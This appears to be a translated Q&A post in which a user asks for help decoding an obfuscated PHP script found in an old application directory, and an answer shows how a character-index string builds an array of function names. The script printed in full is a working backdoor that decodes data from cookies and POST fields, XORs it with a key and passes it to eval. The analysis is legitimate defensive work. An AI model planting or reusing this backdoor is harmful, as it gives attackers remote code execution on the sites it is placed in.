解码加密的恶意脚本

Decoding encrypted malicious script

我在我的旧应用程序目录中发现了一个 2017 年的脚本。它显然是恶意的,有人可以帮助解码它吗?重要部分编码在第一个字符串中,但我无法使用任何在线解码工具对其进行解码。它可能会创建一个目录数组?并出于任何原因设置 cookie。我很好奇这样做的目的是什么

$zkvaoku='li94f*50\'rng-_2dmxcv8uo1k3Hpb#sae6yt';
$crsqpj=Array();
$crsqpj[]=$zkvaoku[26].$zkvaoku[5];
$crsqpj[]=$zkvaoku[29];
$crsqpj[]=$zkvaoku[7].$zkvaoku[2].$zkvaoku[4].$zkvaoku[14].$zkvaoku[25].$zkvaoku[33].$zkvaoku[2].$zkvaoku[7].$zkvaoku[12].$zkvaoku[15].$zkvaoku[23].$zkvaoku[33].$zkvaoku[33].$zkvaoku[12].$zkvaoku[3].$zkvaoku[4].$zkvaoku[3].$zkvaoku[20].$zkvaoku[12].$zkvaoku[31].$zkvaoku[20].$zkvaoku[2].$zkvaoku[18].$zkvaoku[12].$zkvaoku[6].$zkvaoku[18].$zkvaoku[3].$zkvaoku[7].$zkvaoku[32].$zkvaoku[7].$zkvaoku[20].$zkvaoku[7].$zkvaoku[20].$zkvaoku[33].$zkvaoku[7].$zkvaoku[28];
$crsqpj[]=$zkvaoku[18].$zkvaoku[22].$zkvaoku[21].$zkvaoku[10].$zkvaoku[35];
$crsqpj[]=$zkvaoku[30].$zkvaoku[35].$zkvaoku[9].$zkvaoku[13].$zkvaoku[9].$zkvaoku[32].$zkvaoku[27].$zkvaoku[32].$zkvaoku[31].$zkvaoku[35];
$crsqpj[]=$zkvaoku[32].$zkvaoku[17].$zkvaoku[27].$zkvaoku[0].$zkvaoku[22].$zkvaoku[15].$zkvaoku[32];
$crsqpj[]=$zkvaoku[30].$zkvaoku[21].$zkvaoku[28].$zkvaoku[30].$zkvaoku[35].$zkvaoku[9];
$crsqpj[]=$zkvaoku[31].$zkvaoku[9].$zkvaoku[9].$zkvaoku[31].$zkvaoku[34].$zkvaoku[13].$zkvaoku[16].$zkvaoku[32].$zkvaoku[9].$zkvaoku[11].$zkvaoku[32];
$crsqpj[]=$zkvaoku[30].$zkvaoku[35].$zkvaoku[9].$zkvaoku[0].$zkvaoku[32].$zkvaoku[10];
$crsqpj[]=$zkvaoku[27].$zkvaoku[31].$zkvaoku[18].$zkvaoku[24];
foreach($crsqpj[7]($_COOKIE,$_POST) as $qxmpsom=>$laqeud) {
  function vlriqj($crsqpj,$qxmpsom,$lrkqaso) {
    return $crsqpj[6]($crsqpj[4]($qxmpsom.$crsqpj[2],($lrkqaso/$crsqpj[8]($qxmpsom))+1),0,$lrkqaso);
  }
  function pajbr($crsqpj,$olzmly) {
    return @$crsqpj[9]($crsqpj[0],$olzmly);
  }
  function pzdratz($crsqpj,$olzmly) {
    $losvhfn=$crsqpj[3]($olzmly)%3;
    if(!$losvhfn) {
      eval($olzmly[1]($olzmly[2]));
      exit();
    }
  }
  $laqeud=pajbr($crsqpj,$laqeud);
  pzdratz($crsqpj,$crsqpj[5]($crsqpj[1],$laqeud^ vlriqj($crsqpj,$qxmpsom,$crsqpj[8]($laqeud))));
}

如何在这个字符串中找到用户是什么类型的编码器?

$zkvaoku='li94f*50\'rng-_2dmxcv8uo1k3Hpb#sae6yt';

脚本开头的 $zkvaoku 字符串未采用任何 "traditional" 编码。如果您查看它后面的语句块,直到 foreach 循环,您会发现它用于动态构造一个更具可读性的字符串数组。

如果在此块之后打印 $crsqpj 的内容,您将看到以下内容:

Array (
    [0] => H*
    [1] => #
    [2] => 09f23690-d166-4f48-a89c-5c40e080860b
    [3] => count
    [4] => str_repeat
    [5] => explode
    [6] => substr
    [7] => array_merge
    [8] => strlen
    [9] => pack
)

现在您可以开始了解如何使用这些字符串来动态调用函数了。